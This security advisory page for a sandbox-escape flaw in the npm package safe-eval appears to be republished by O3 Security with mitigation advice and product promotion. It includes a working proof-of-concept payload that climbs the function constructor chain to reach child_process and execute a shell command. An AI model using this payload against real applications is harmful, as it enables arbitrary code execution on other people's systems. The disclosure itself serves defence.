GHSA-9pcf-h8q9-63f6
GHSA-9pcf-h8q9-63f6 is a remote code execution vulnerability in safe-eval. O3 Security confirms whether GHSA-9pcf-h8q9-63f6 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Sandbox Breakout / Arbitrary Code Execution in safe-eval
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
safe-evalnpmDescription
All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.
For example, the payload
((() => {
const targetKey = Object.keys(this)[0];
Object.defineProperty(this, targetKey, {
get: function() {
return arguments.callee.caller.constructor(
"return global.process.mainModule.require('child_process').execSync('pwd').toString()"
)();
}
});
})();```
may be used to print the `pwd` to the console.
## Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | safe-eval | ≥ 0.0.0 | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for safe-eval. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of safe-eval has shipped for GHSA-9pcf-h8q9-63f6 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9pcf-h8q9-63f6 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9pcf-h8q9-63f6. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9pcf-h8q9-63f6 in your dependencies?
O3 detects GHSA-9pcf-h8q9-63f6 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.